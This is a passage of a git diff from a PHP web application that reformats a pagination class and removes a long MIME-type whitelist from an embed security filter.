if($first_page<1) $first_page = 1; - $last_page = $total_page; - if($last_page>$total_page) $last_page = $total_page; + function PageHandler($total_count, $total_page, $cur_page, $page_count = 10) + { + $this->total_count = $total_count; + $this->total_page = $total_page; + $this->cur_page = $cur_page; + $this->page_count = $page_count; + $this->point = 0; - $this->first_page = $first_page; - $this->last_page = $last_page; - - if($total_page < $this->page_count) $this->page_count = $total_page; - } - - /** - * request next page - * @return int next page number - **/ - function getNextPage() { - $page = $this->first_page+$this->point++; - if($this->point > $this->page_count || $page > $this->last_page) $page = 0; - return $page; - } - - /** - * return number of page that added offset. - * @param int $offset - * @return int - **/ - function getPage($offset) + $first_page = $cur_page - (int) ($page_count / 2); + if($first_page < 1) { - return max(min($this->cur_page + $offset, $this->total_page), ''); + $first_page = 1; } - } -?> + + if($total_page > $page_count && $first_page + $page_count - 1 > $total_page) + { + $first_page -= $first_page + $page_count - 1 - $total_page; + } + + $last_page = $total_page; + if($last_page > $total_page) + { + $last_page = $total_page; + } + + $this->first_page = $first_page; + $this->last_page = $last_page; + + if($total_page < $this->page_count) + { + $this->page_count = $total_page; + } + } + + /** + * request next page + * @return int next page number + */ + function getNextPage() + { + $page = $this->first_page + $this->point++; + if($this->point > $this->page_count || $page > $this->last_page) + { + $page = 0; + } + return $page; + } + + /** + * return number of page that added offset. + * @param int $offset + * @return int + */ + function getPage($offset) + { + return max(min($this->cur_page + $offset, $this->total_page), ''); + } + +} +/* End of file PageHandler.class.php */ +/* Location: ./classes/page/PageHandler.class.php */ diff --git a/classes/security/EmbedFilter.class.php b/classes/security/EmbedFilter.class.php index f674bfbe5..0b5d5dd4f 100644 --- a/classes/security/EmbedFilter.class.php +++ b/classes/security/EmbedFilter.class.php @@ -1,13 +1,16 @@ 1, 'application/applixware'=>1, 'application/atom+xml'=>1, 'application/atomcat+xml'=>1, 'application/atomsvc+xml'=>1, - 'application/ccxml+xml'=>1, 'application/cdmi-capability'=>1, 'application/cdmi-container'=>1, 'application/cdmi-domain'=>1, 'application/cdmi-object'=>1, - 'application/cdmi-queue'=>1, 'application/cu-seeme'=>1, 'application/davmount+xml'=>1, 'application/docbook+xml'=>1, 'application/dssc+der'=>1, 'application/dssc+xml'=>1, - 'application/ecmascript'=>1, 'application/emma+xml'=>1, 'application/epub+zip'=>1, 'application/exi'=>1, 'application/font-tdpfr'=>1, 'application/gml+xml'=>1, - 'application/gpx+xml'=>1, 'application/gxf'=>1, 'application/hyperstudio'=>1, 'application/inkml+xml'=>1, 'application/inkml+xml'=>1, 'application/ipfix'=>1, - 'application/java-archive'=>1, 'application/java-serialized-object'=>1, 'application/java-vm'=>1, 'application/javascript'=>1, 'application/json'=>1, - 'application/jsonml+json'=>1, 'application/lost+xml'=>1, 'application/mac-binhex40'=>1, 'application/mac-compactpro'=>1, 'application/mads+xml'=>1, - 'application/marc'=>1, 'application/marcxml+xml'=>1, 'application/mathematica'=>1, 'application/mathematica'=>1, 'application/mathematica'=>1, 'application/mathml+xml'=>1, - 'application/mbox'=>1, 'application/mediaservercontrol+xml'=>1, 'application/metalink+xml'=>1, 'application/metalink4+xml'=>1, 'application/mets+xml'=>1, - 'application/mods+xml'=>1, 'application/mp21'=>1, 'application/mp4'=>1, 'application/msword'=>1, 'application/mxf'=>1, 'application/octet-stream'=>1, - 'application/octet-stream'=>1, 'application/octet-stream'=>1, 'application/octet-stream'=>1, 'application/octet-stream'=>1, 'application/octet-stream'=>1, - 'application/octet-stream'=>1, 'application/octet-stream'=>1, 'application/octet-stream'=>1, 'application/octet-stream'=>1, 'application/octet-stream'=>1, - 'application/octet-stream'=>1, 'application/oda'=>1, 'application/oebps-package+xml'=>1, 'application/ogg'=>1, 'application/omdoc+xml'=>1, 'application/onenote'=>1, - 'application/onenote'=>1, 'application/onenote'=>1, 'application/onenote'=>1, 'application/oxps'=>1, 'application/patch-ops-error+xml'=>1, 'application/pdf'=>1, - 'application/pgp-encrypted'=>1, 'application/pgp-signature'=>1, 'application/pgp-signature'=>1, 'application/pics-rules'=>1, 'application/pkcs10'=>1, - 'application/pkcs7-mime'=>1, 'application/pkcs7-mime'=>1, 'application/pkcs7-signature'=>1, 'application/pkcs8'=>1, 'application/pkix-attr-cert'=>1, - 'application/pkix-cert'=>1, 'application/pkix-crl'=>1, 'application/pkix-pkipath'=>1, 'application/pkixcmp'=>1, 'application/pls+xml'=>1, - 'application/postscript'=>1, 'application/postscript'=>1, 'application/postscript'=>1, 'application/prs.cww'=>1, 'application/pskc+xml'=>1, - 'application/rdf+xml'=>1, 'application/reginfo+xml'=>1, 'application/relax-ng-compact-syntax'=>1, 'application/resource-lists+xml'=>1, - 'application/resource-lists-diff+xml'=>1, 'application/rls-services+xml'=>1, 'application/rpki-ghostbusters'=>1, 'application/rpki-manifest'=>1, - 'application/rpki-roa'=>1, 'application/rsd+xml'=>1, 'application/rss+xml'=>1, 'application/rtf'=>1, 'application/sbml+xml'=>1, 'application/scvp-cv-request'=>1, - 'application/scvp-cv-response'=>1, 'application/scvp-vp-request'=>1, 'application/scvp-vp-response'=>1, 'application/sdp'=>1, 'application/set-payment-initiation'=>1, - 'application/set-registration-initiation'=>1, 'application/shf+xml'=>1, 'application/smil+xml'=>1, 'application/smil+xml'=>1, 'application/sparql-query'=>1, - 'application/sparql-results+xml'=>1, 'application/srgs'=>1, 'application/srgs+xml'=>1, 'application/sru+xml'=>1, 'application/ssdl+xml'=>1, - 'application/ssml+xml'=>1, 'application/tei+xml'=>1, 'application/tei+xml'=>1, 'application/thraud+xml'=>1, 'application/timestamped-data'=>1, - 'application/vnd.3gpp.pic-bw-large'=>1, 'application/vnd.3gpp.pic-bw-small'=>1, 'application/vnd.3gpp.pic-bw-var'=>1, 'application/vnd.3gpp2.tcap'=>1, - 'application/vnd.3m.post-it-notes'=>1, 'application/vnd.accpac.simply.aso'=>1, 'application/vnd.accpac.simply.imp'=>1, 'application/vnd.acucobol'=>1, - 'application/vnd.acucorp'=>1, 'application/vnd.acucorp'=>1, 'application/vnd.adobe.air-application-installer-package+zip'=>1, 'application/vnd.adobe.formscentral.fcdt'=>1, - 'application/vnd.adobe.fxp'=>1, 'application/vnd.adobe.fxp'=>1, 'application/vnd.adobe.xdp+xml'=>1, 'application/vnd.adobe.xfdf'=>1, 'application/vnd.ahead.space'=>1, - 'application/vnd.airzip.filesecure.azf'=>1, 'application/vnd.airzip.filesecure.azs'=>1, 'application/vnd.amazon.ebook'=>1, 'application/vnd.americandynamics.acc'=>1, - 'application/vnd.amiga.ami'=>1, 'application/vnd.android.package-archive'=>1, 'application/vnd.anser-web-certificate-issue-initiation'=>1, - 'application/vnd.anser-web-funds-transfer-initiation'=>1, 'application/vnd.antix.game-component'=>1, 'application/vnd.apple.installer+xml'=>1, - 'application/vnd.apple.mpegurl'=>1, 'application/vnd.aristanetworks.swi'=>1, 'application/vnd.astraea-software.iota'=>1, 'application/vnd.audiograph'=>1, - 'application/vnd.blueice.multipass'=>1, 'application/vnd.bmi'=>1, 'application/vnd.businessobjects'=>1, 'application/vnd.chemdraw+xml'=>1, - 'application/vnd.chipnuts.karaoke-mmd'=>1, 'application/vnd.cinderella'=>1, 'application/vnd.claymore'=>1, 'application/vnd.cloanto.rp9'=>1, - 'application/vnd.clonk.c4group'=>1, 'application/vnd.clonk.c4group'=>1, 'application/vnd.clonk.c4group'=>1, 'application/vnd.clonk.c4group'=>1, - 'application/vnd.clonk.c4group'=>1, 'application/vnd.cluetrust.cartomobile-config'=>1, 'application/vnd.cluetrust.cartomobile-config-pkg'=>1, - 'application/vnd.commonspace'=>1, 'application/vnd.contact.cmsg'=>1, 'application/vnd.cosmocaller'=>1, 'application/vnd.crick.clicker'=>1, - 'application/vnd.crick.clicker.keyboard'=>1, 'application/vnd.crick.clicker.palette'=>1, 'application/vnd.crick.clicker.template'=>1, - 'application/vnd.crick.clicker.wordbank'=>1, 'application/vnd.criticaltools.wbs+xml'=>1, 'application/vnd.ctc-posml'=>1, 'application/vnd.cups-ppd'=>1, - 'application/vnd.curl.car'=>1, 'application/vnd.curl.pcurl'=>1, 'application/vnd.dart'=>1, 'application/vnd.data-vision.rdz'=>1, 'application/vnd.dece.data'=>1, - 'application/vnd.dece.data'=>1, 'application/vnd.dece.data'=>1, 'application/vnd.dece.data'=>1, 'application/vnd.dece.ttml+xml'=>1, 'application/vnd.dece.ttml+xml'=>1, - 'application/vnd.dece.unspecified'=>1, 'application/vnd.dece.unspecified'=>1, 'application/vnd.dece.zip'=>1, 'application/vnd.dece.zip'=>1, - 'application/vnd.denovo.fcselayout-link'=>1, 'application/vnd.dna'=>1, 'application/vnd.dolby.mlp'=>1, 'application/vnd.dpgraph'=>1, 'application/vnd.dreamfactory'=>1, - 'application/vnd.ds-keypoint'=>1, 'application/vnd.dvb.ait'=>1, 'application/vnd.dvb.service'=>1, 'application/vnd.dynageo'=>1, 'application/vnd.ecowin.chart'=>1, - 'application/vnd.enliven'=>1, 'application/vnd.epson.esf'=>1, 'application/vnd.epson.msf'=>1, 'application/vnd.epson.quickanime'=>1, 'application/vnd.epson.salt'=>1, - 'application/vnd.epson.ssf'=>1, 'application/vnd.eszigno3+xml'=>1, 'application/vnd.eszigno3+xml'=>1, 'application/vnd.ezpix-album'=>1, 'application/vnd.ezpix-package'=>1, - 'application/vnd.fdf'=>1, 'application/vnd.fdsn.mseed'=>1, 'application/vnd.fdsn.seed'=>1, 'application/vnd.fdsn.seed'=>1, 'application/vnd.flographit'=>1, - 'application/vnd.fluxtime.clip'=>1, 'application/vnd.framemaker'=>1, 'application/vnd.framemaker'=>1, 'application/vnd.framemaker'=>1, 'application/vnd.framemaker'=>1, - 'application/vnd.frogans.fnc'=>1, 'application/vnd.frogans.ltf'=>1, 'application/vnd.fsc.weblaunch'=>1, 'application/vnd.fujitsu.oasys'=>1, - 'application/vnd.fujitsu.oasys2'=>1, 'application/vnd.fujitsu.oasys3'=>1, 'application/vnd.fujitsu.oasysgp'=>1, 'application/vnd.fujitsu.oasysprs'=>1, - 'application/vnd.fujixerox.ddd'=>1, 'application/vnd.fujixerox.docuworks'=>1, 'application/vnd.fujixerox.docuworks.binder'=>1, 'application/vnd.fuzzysheet'=>1, - 'application/vnd.genomatix.tuxedo'=>1, 'application/vnd.geogebra.file'=>1, 'application/vnd.geogebra.tool'=>1, 'application/vnd.geometry-explorer'=>1, - 'application/vnd.geometry-explorer'=>1, 'application/vnd.geonext'=>1, 'application/vnd.geoplan'=>1, 'application/vnd.geospace'=>1, 'application/vnd.gmx'=>1, - 'application/vnd.google-earth.kml+xml'=>1, 'application/vnd.google-earth.kmz'=>1, 'application/vnd.grafeq'=>1, 'application/vnd.grafeq'=>1, - 'application/vnd.groove-account'=>1, 'application/vnd.groove-help'=>1, 'application/vnd.groove-identity-message'=>1, 'application/vnd.groove-injector'=>1, - 'application/vnd.groove-tool-message'=>1, 'application/vnd.groove-tool-template'=>1, 'application/vnd.groove-vcard'=>1, 'application/vnd.hal+xml'=>1, - 'application/vnd.handheld-entertainment+xml'=>1, 'application/vnd.hbci'=>1, 'application/vnd.hhe.lesson-player'=>1, 'application/vnd.hp-hpgl'=>1, - 'application/vnd.hp-hpid'=>1, 'application/vnd.hp-hps'=>1, 'application/vnd.hp-jlyt'=>1, 'application/vnd.hp-pcl'=>1, 'application/vnd.hp-pclxl'=>1, - 'application/vnd.hydrostatix.sof-data'=>1, 'application/vnd.ibm.minipay'=>1, 'application/vnd.ibm.modcap'=>1, 'application/vnd.ibm.modcap'=>1, 'application/vnd.ibm.modcap'=>1, - 'application/vnd.ibm.rights-management'=>1, 'application/vnd.ibm.secure-container'=>1, 'application/vnd.iccprofile'=>1, 'application/vnd.iccprofile'=>1, - 'application/vnd.igloader'=>1, 'application/vnd.immervision-ivp'=>1, 'application/vnd.immervision-ivu'=>1, 'application/vnd.insors.igm'=>1, 'application/vnd.intercon.formnet'=>1, - 'application/vnd.intercon.formnet'=>1, 'application/vnd.intergeo'=>1, 'application/vnd.intu.qbo'=>1, 'application/vnd.intu.qfx'=>1, 'application/vnd.ipunplugged.rcprofile'=>1, - 'application/vnd.irepository.package+xml'=>1, 'application/vnd.is-xpr'=>1, 'application/vnd.isac.fcs'=>1, 'application/vnd.jam'=>1, 'application/vnd.jcp.javame.midlet-rms'=>1, - 'application/vnd.jisp'=>1, 'application/vnd.joost.joda-archive'=>1, 'application/vnd.kahootz'=>1, 'application/vnd.kahootz'=>1, 'application/vnd.kde.karbon'=>1, - 'application/vnd.kde.kchart'=>1, 'application/vnd.kde.kformula'=>1, 'application/vnd.kde.kivio'=>1, 'application/vnd.kde.kontour'=>1, 'application/vnd.kde.kpresenter'=>1, - 'application/vnd.kde.kpresenter'=>1, 'application/vnd.kde.kspread'=>1, 'application/vnd.kde.kword'=>1, 'application/vnd.kde.kword'=>1, 'application/vnd.kenameaapp'=>1, - 'application/vnd.kidspiration'=>1, 'application/vnd.kinar'=>1, 'application/vnd.kinar'=>1, 'application/vnd.koan'=>1, 'application/vnd.koan'=>1, 'application/vnd.koan'=>1, - 'application/vnd.koan'=>1, 'application/vnd.kodak-descriptor'=>1, 'application/vnd.las.las+xml'=>1, 'application/vnd.llamagraphics.life-balance.desktop'=>1, - 'application/vnd.llamagraphics.life-balance.exchange+xml'=>1, 'application/vnd.lotus-1-2-3'=>1, 'application/vnd.lotus-approach'=>1, 'application/vnd.lotus-freelance'=>1, - 'application/vnd.lotus-notes'=>1, 'application/vnd.lotus-organizer'=>1, 'application/vnd.lotus-screencam'=>1, 'application/vnd.lotus-wordpro'=>1, - 'application/vnd.macports.portpkg'=>1, 'application/vnd.mcd'=>1, 'application/vnd.medcalcdata'=>1, 'application/vnd.mediastation.cdkey'=>1, 'application/vnd.mfer'=>1, - 'application/vnd.mfmp'=>1, 'application/vnd.micrografx.flo'=>1, 'application/vnd.micrografx.igx'=>1, 'application/vnd.mif'=>1, 'application/vnd.mobius.daf'=>1, - 'application/vnd.mobius.dis'=>1, 'application/vnd.mobius.mbk'=>1, 'application/vnd.mobius.mqy'=>1, 'application/vnd.mobius.msl'=>1, 'application/vnd.mobius.plc'=>1, - 'application/vnd.mobius.txf'=>1, 'application/vnd.mophun.application'=>1, 'application/vnd.mophun.certificate'=>1, 'application/vnd.mozilla.xul+xml'=>1, - 'application/vnd.ms-artgalry'=>1, 'application/vnd.ms-cab-compressed'=>1, 'application/vnd.ms-excel'=>1, 'application/vnd.ms-excel'=>1, 'application/vnd.ms-excel'=>1, - 'application/vnd.ms-excel'=>1, 'application/vnd.ms-excel'=>1, 'application/vnd.ms-excel'=>1, 'application/vnd.ms-excel.addin.macroenabled.12'=>1, - 'application/vnd.ms-excel.sheet.binary.macroenabled.12'=>1, 'application/vnd.ms-excel.sheet.macroenabled.12'=>1, 'application/vnd.ms-excel.template.macroenabled.12'=>1, - 'application/vnd.ms-fontobject'=>1, 'application/vnd.ms-htmlhelp'=>1, 'application/vnd.ms-ims'=>1, 'application/vnd.ms-lrm'=>1, 'application/vnd.ms-officetheme'=>1, - 'application/vnd.ms-pki.seccat'=>1, 'application/vnd.ms-pki.stl'=>1, 'application/vnd.ms-powerpoint'=>1, 'application/vnd.ms-powerpoint'=>1, - 'application/vnd.ms-powerpoint'=>1, 'application/vnd.ms-powerpoint.addin.macroenabled.12'=>1, 'application/vnd.ms-powerpoint.presentation.macroenabled.12'=>1, - 'application/vnd.ms-powerpoint.slide.macroenabled.12'=>1, 'application/vnd.ms-powerpoint.slideshow.macroenabled.12'=>1, - 'application/vnd.ms-powerpoint.template.macroenabled.12'=>1, 'application/vnd.ms-project'=>1, 'application/vnd.ms-project'=>1, - 'application/vnd.ms-word.document.macroenabled.12'=>1, 'application/vnd.ms-word.template.macroenabled.12'=>1, 'application/vnd.ms-works'=>1, - 'application/vnd.ms-works'=>1, 'application/vnd.ms-works'=>1, 'application/vnd.ms-works'=>1, 'application/vnd.ms-wpl'=>1, 'application/vnd.ms-xpsdocument'=>1, - 'application/vnd.mseq'=>1, 'application/vnd.musician'=>1, 'application/vnd.muvee.style'=>1, 'application/vnd.mynfc'=>1, 'application/vnd.neurolanguage.nlu'=>1, - 'application/vnd.nitf'=>1, 'application/vnd.nitf'=>1, 'application/vnd.noblenet-directory'=>1, 'application/vnd.noblenet-sealer'=>1, 'application/vnd.noblenet-web'=>1, - 'application/vnd.nokia.n-gage.data'=>1, 'application/vnd.nokia.n-gage.symbian.install'=>1, 'application/vnd.nokia.radio-preset'=>1, 'application/vnd.nokia.radio-presets'=>1, - 'application/vnd.novadigm.edm'=>1, 'application/vnd.novadigm.edx'=>1, 'application/vnd.novadigm.ext'=>1, 'application/vnd.oasis.opendocument.chart'=>1, - 'application/vnd.oasis.opendocument.chart-template'=>1, 'application/vnd.oasis.opendocument.database'=>1, 'application/vnd.oasis.opendocument.formula'=>1, - 'application/vnd.oasis.opendocument.formula-template'=>1, 'application/vnd.oasis.opendocument.graphics'=>1, 'application/vnd.oasis.opendocument.graphics-template'=>1, - 'application/vnd.oasis.opendocument.image'=>1, 'application/vnd.oasis.opendocument.image-template'=>1, 'application/vnd.oasis.opendocument.presentation'=>1, - 'application/vnd.oasis.opendocument.presentation-template'=>1, 'application/vnd.oasis.opendocument.spreadsheet'=>1, 'application/vnd.oasis.opendocument.spreadsheet-template'=>1, - 'application/vnd.oasis.opendocument.text'=>1, 'application/vnd.oasis.opendocument.text-master'=>1, 'application/vnd.oasis.opendocument.text-template'=>1, - 'application/vnd.oasis.opendocument.text-web'=>1, 'application/vnd.olpc-sugar'=>1, 'application/vnd.oma.dd2+xml'=>1, 'application/vnd.openofficeorg.extension'=>1, - 'application/vnd.openxmlformats-officedocument.presentationml.presentation'=>1, 'application/vnd.openxmlformats-officedocument.presentationml.slide'=>1, - 'application/vnd.openxmlformats-officedocument.presentationml.slideshow'=>1, 'application/vnd.openxmlformats-officedocument.presentationml.template'=>1, - 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'=>1, 'application/vnd.openxmlformats-officedocument.spreadsheetml.template'=>1, - 'application/vnd.openxmlformats-officedocument.wordprocessingml.document'=>1, 'application/vnd.openxmlformats-officedocument.wordprocessingml.template'=>1, - 'application/vnd.osgeo.mapguide.package'=>1, 'application/vnd.osgi.dp'=>1, 'application/vnd.osgi.subsystem'=>1, 'application/vnd.palm'=>1, 'application/vnd.palm'=>1, - 'application/vnd.palm'=>1, 'application/vnd.pawaafile'=>1, 'application/vnd.pg.format'=>1, 'application/vnd.pg.osasli'=>1, 'application/vnd.picsel'=>1, 'application/vnd.pmi.widget'=>1, - 'application/vnd.pocketlearn'=>1, 'application/vnd.powerbuilder6'=>1, 'application/vnd.previewsystems.box'=>1, 'application/vnd.proteus.magazine'=>1, - 'application/vnd.publishare-delta-tree'=>1, 'application/vnd.pvi.ptid1'=>1, 'application/vnd.quark.quarkxpress'=>1, 'application/vnd.quark.quarkxpress'=>1, - 'application/vnd.quark.quarkxpress'=>1, 'application/vnd.quark.quarkxpress'=>1, 'application/vnd.quark.quarkxpress'=>1, 'application/vnd.quark.quarkxpress'=>1, - 'application/vnd.realvnc.bed'=>1, 'application/vnd.recordare.musicxml'=>1, 'application/vnd.recordare.musicxml+xml'=>1, 'application/vnd.rig.cryptonote'=>1, - 'application/vnd.rim.cod'=>1, 'application/vnd.rn-realmedia'=>1, 'application/vnd.rn-realmedia-vbr'=>1, 'application/vnd.route66.link66+xml'=>1, 'application/vnd.sailingtracker.track'=>1, - 'application/vnd.seemail'=>1, 'application/vnd.sema'=>1, 'application/vnd.semd'=>1, 'application/vnd.semf'=>1, 'application/vnd.shana.informed.formdata'=>1, - 'application/vnd.shana.informed.formtemplate'=>1, 'application/vnd.shana.informed.interchange'=>1, 'application/vnd.shana.informed.package'=>1, 'application/vnd.simtech-mindmapper'=>1, - 'application/vnd.simtech-mindmapper'=>1, 'application/vnd.smaf'=>1, 'application/vnd.smart.teacher'=>1, 'application/vnd.solent.sdkm+xml'=>1, 'application/vnd.solent.sdkm+xml'=>1, - 'application/vnd.spotfire.dxp'=>1, 'application/vnd.spotfire.sfs'=>1, 'application/vnd.stardivision.calc'=>1, 'application/vnd.stardivision.draw'=>1, - 'application/vnd.stardivision.impress'=>1, 'application/vnd.stardivision.math'=>1, 'application/vnd.stardivision.writer'=>1, 'application/vnd.stardivision.writer'=>1, - 'application/vnd.stardivision.writer-global'=>1, 'application/vnd.stepmania.package'=>1, 'application/vnd.stepmania.stepchart'=>1, 'application/vnd.sun.xml.calc'=>1, - 'application/vnd.sun.xml.calc.template'=>1, 'application/vnd.sun.xml.draw'=>1, 'application/vnd.sun.xml.draw.template'=>1, 'application/vnd.sun.xml.impress'=>1, - 'application/vnd.sun.xml.impress.template'=>1, 'application/vnd.sun.xml.math'=>1, 'application/vnd.sun.xml.writer'=>1, 'application/vnd.sun.xml.writer.global'=>1, - 'application/vnd.sun.xml.writer.template'=>1, 'application/vnd.sus-calendar'=>1, 'application/vnd.sus-calendar'=>1, 'application/vnd.svd'=>1, 'application/vnd.symbian.install'=>1, - 'application/vnd.symbian.install'=>1, 'application/vnd.syncml+xml'=>1, 'application/vnd.syncml.dm+wbxml'=>1, 'application/vnd.syncml.dm+xml'=>1, - 'application/vnd.tao.intent-module-archive'=>1, 'application/vnd.tcpdump.pcap'=>1, 'application/vnd.tcpdump.pcap'=>1, 'application/vnd.tcpdump.pcap'=>1, - 'application/vnd.tmobile-livetv'=>1, 'application/vnd.trid.tpt'=>1, 'application/vnd.triscape.mxs'=>1, 'application/vnd.trueapp'=>1, 'application/vnd.ufdl'=>1, 'application/vnd.ufdl'=>1, - 'application/vnd.uiq.theme'=>1, 'application/vnd.umajin'=>1, 'application/vnd.unity'=>1, 'application/vnd.uoml+xml'=>1, 'application/vnd.vcx'=>1, 'application/vnd.visio'=>1, - 'application/vnd.visio'=>1, 'application/vnd.visio'=>1, 'application/vnd.visio'=>1, 'application/vnd.visionary'=>1, 'application/vnd.vsf'=>1, 'application/vnd.wap.wbxml'=>1, - 'application/vnd.wap.wmlc'=>1, 'application/vnd.wap.wmlscriptc'=>1, 'application/vnd.webturbo'=>1, 'application/vnd.wolfram.player'=>1, 'application/vnd.wordperfect'=>1, - 'application/vnd.wqd'=>1, 'application/vnd.wt.stf'=>1, 'application/vnd.xara'=>1, 'application/vnd.xfdl'=>1, 'application/vnd.yamaha.hv-dic'=>1, 'application/vnd.yamaha.hv-script'=>1, - 'application/vnd.yamaha.hv-voice'=>1, 'application/vnd.yamaha.openscoreformat'=>1, 'application/vnd.yamaha.openscoreformat.osfpvg+xml'=>1, 'application/vnd.yamaha.smaf-audio'=>1, - 'application/vnd.yamaha.smaf-phrase'=>1, 'application/vnd.yellowriver-custom-menu'=>1, 'application/vnd.zul'=>1, 'application/vnd.zul'=>1, 'application/vnd.zzazz.deck+xml'=>1, - 'application/voicexml+xml'=>1, 'application/widget'=>1, 'application/winhlp'=>1, 'application/wsdl+xml'=>1, 'application/wspolicy+xml'=>1, 'application/x-7z-compressed'=>1, - 'application/x-abiword'=>1, 'application/x-ace-compressed'=>1, 'application/x-apple-diskimage'=>1, 'application/x-authorware-bin'=>1, 'application/x-authorware-bin'=>1, - 'application/x-authorware-bin'=>1, 'application/x-authorware-bin'=>1, 'application/x-authorware-map'=>1, 'application/x-authorware-seg'=>1, 'application/x-bcpio'=>1, - 'application/x-bittorrent'=>1, 'application/x-blorb'=>1, 'application/x-blorb'=>1, 'application/x-bzip'=>1, 'application/x-bzip2'=>1, 'application/x-bzip2'=>1, 'application/x-cbr'=>1, - 'application/x-cbr'=>1, 'application/x-cbr'=>1, 'application/x-cbr'=>1, 'application/x-cbr'=>1, 'application/x-cdlink'=>1, 'application/x-cfs-compressed'=>1, 'application/x-chat'=>1, - 'application/x-chess-pgn'=>1, 'application/x-conference'=>1, 'application/x-cpio'=>1, 'application/x-csh'=>1, 'application/x-debian-package'=>1, 'application/x-debian-package'=>1, - 'application/x-dgc-compressed'=>1, 'application/x-director'=>1, 'application/x-director'=>1, 'application/x-director'=>1, 'application/x-director'=>1, 'application/x-director'=>1, - 'application/x-director'=>1, 'application/x-director'=>1, 'application/x-director'=>1, 'application/x-director'=>1, 'application/x-doom'=>1, 'application/x-dtbncx+xml'=>1, - 'application/x-dtbook+xml'=>1, 'application/x-dtbresource+xml'=>1, 'application/x-dvi'=>1, 'application/x-envoy'=>1, 'application/x-eva'=>1, 'application/x-font-bdf'=>1, - 'application/x-font-ghostscript'=>1, 'application/x-font-linux-psf'=>1, 'application/x-font-otf'=>1, 'application/x-font-pcf'=>1, 'application/x-font-snf'=>1, - 'application/x-font-ttf'=>1, 'application/x-font-ttf'=>1, 'application/x-font-type1'=>1, 'application/x-font-type1'=>1, 'application/x-font-type1'=>1, 'application/x-font-type1'=>1, - 'application/x-font-woff'=>1, 'application/x-freearc'=>1, 'application/x-futuresplash'=>1, 'application/x-gca-compressed'=>1, 'application/x-glulx'=>1, 'application/x-gnumeric'=>1, - 'application/x-gramps-xml'=>1, 'application/x-gtar'=>1, 'application/x-hdf'=>1, 'application/x-install-instructions'=>1, 'application/x-iso9660-image'=>1, - 'application/x-java-jnlp-file'=>1, 'application/x-latex'=>1, 'application/x-lzh-compressed'=>1, 'application/x-lzh-compressed'=>1, 'application/x-mie'=>1, - 'application/x-mobipocket-ebook'=>1, 'application/x-mobipocket-ebook'=>1, 'application/x-ms-application'=>1, 'application/x-ms-shortcut'=>1, 'application/x-ms-wmd'=>1, - 'application/x-ms-wmz'=>1, 'application/x-ms-xbap'=>1, 'application/x-msaccess'=>1, 'application/x-msbinder'=>1, 'application/x-mscardfile'=>1, 'application/x-msclip'=>1, - 'application/x-msdownload'=>1, 'application/x-msdownload'=>1, 'application/x-msdownload'=>1, 'application/x-msdownload'=>1, 'application/x-msdownload'=>1, 'application/x-msmediaview'=>1, - 'application/x-msmediaview'=>1, 'application/x-msmediaview'=>1, 'application/x-msmetafile'=>1, 'application/x-msmetafile'=>1, 'application/x-msmetafile'=>1, 'application/x-msmetafile'=>1, - 'application/x-msmoney'=>1, 'application/x-mspublisher'=>1, 'application/x-msschedule'=>1, 'application/x-msterminal'=>1, 'application/x-mswrite'=>1, 'application/x-netcdf'=>1, - 'application/x-netcdf'=>1, 'application/x-nzb'=>1, 'application/x-pkcs12'=>1, 'application/x-pkcs12'=>1, 'application/x-pkcs7-certificates'=>1, 'application/x-pkcs7-certificates'=>1, - 'application/x-pkcs7-certreqresp'=>1, 'application/x-rar-compressed'=>1, 'application/x-research-info-systems'=>1, 'application/x-sh'=>1, 'application/x-shar'=>1, - 'application/x-shockwave-flash'=>1, 'application/x-silverlight-app'=>1, 'application/x-silverlight-2'=>1, 'application/x-sql'=>1, 'application/x-stuffit'=>1, 'application/x-stuffitx'=>1, - 'application/x-subrip'=>1, 'application/x-sv4cpio'=>1, 'application/x-sv4crc'=>1, 'application/x-t3vm-image'=>1, 'application/x-tads'=>1, 'application/x-tar'=>1, 'application/x-tcl'=>1, - 'application/x-tex'=>1, 'application/x-tex-tfm'=>1, 'application/x-texinfo'=>1, 'application/x-texinfo'=>1, 'application/x-tgif'=>1, 'application/x-ustar'=>1, 'application/x-wais-source'=>1, - 'application/x-x509-ca-cert'=>1, 'application/x-x509-ca-cert'=>1, 'application/x-xfig'=>1, 'application/x-xliff+xml'=>1, 'application/x-xpinstall'=>1, 'application/x-xz'=>1, - 'application/x-zmachine'=>1, 'application/x-zmachine'=>1, 'application/x-zmachine'=>1, 'application/x-zmachine'=>1, 'application/x-zmachine'=>1, 'application/x-zmachine'=>1, - 'application/x-zmachine'=>1, 'application/x-zmachine'=>1, 'application/xaml+xml'=>1, 'application/xcap-diff+xml'=>1, 'application/xenc+xml'=>1, 'application/xhtml+xml'=>1, - 'application/xhtml+xml'=>1, 'application/xml'=>1, 'application/xml'=>1, 'application/xml-dtd'=>1, 'application/xop+xml'=>1, 'application/xproc+xml'=>1, 'application/xslt+xml'=>1, - 'application/xspf+xml'=>1, 'application/xv+xml'=>1, 'application/xv+xml'=>1, 'application/xv+xml'=>1, 'application/xv+xml'=>1, 'application/yang'=>1, 'application/yin+xml'=>1, - 'application/zip'=>1, 'audio/adpcm'=>1, 'audio/basic'=>1, 'audio/basic'=>1, 'audio/midi'=>1, 'audio/midi'=>1, 'audio/midi'=>1, 'audio/midi'=>1, 'audio/mp4'=>1, 'audio/mpeg'=>1, - 'audio/mpeg'=>1, 'audio/mpeg'=>1, 'audio/mpeg'=>1, 'audio/mpeg'=>1, 'audio/mpeg'=>1, 'audio/ogg'=>1, 'audio/ogg'=>1, 'audio/ogg'=>1, 'audio/s3m'=>1, 'audio/silk'=>1, - 'audio/vnd.dece.audio'=>1, 'audio/vnd.dece.audio'=>1, 'audio/vnd.digital-winds'=>1, 'audio/vnd.dra'=>1, 'audio/vnd.dts'=>1, 'audio/vnd.dts.hd'=>1, 'audio/vnd.lucent.voice'=>1, - 'audio/vnd.ms-playready.media.pya'=>1, 'audio/vnd.nuera.ecelp4800'=>1, 'audio/vnd.nuera.ecelp7470'=>1, 'audio/vnd.nuera.ecelp9600'=>1, 'audio/vnd.rip'=>1, 'audio/webm'=>1, - 'audio/x-aac'=>1, 'audio/x-aiff'=>1, 'audio/x-aiff'=>1, 'audio/x-aiff'=>1, 'audio/x-caf'=>1, 'audio/x-flac'=>1, 'audio/x-matroska'=>1, 'audio/x-mpegurl'=>1, 'audio/x-ms-wax'=>1, - 'audio/x-ms-wma'=>1, 'audio/x-pn-realaudio'=>1, 'audio/x-pn-realaudio'=>1, 'audio/x-pn-realaudio-plugin'=>1, 'audio/x-wav'=>1, 'audio/xm'=>1, 'chemical/x-cdx'=>1, 'chemical/x-cif'=>1, - 'chemical/x-cmdf'=>1, 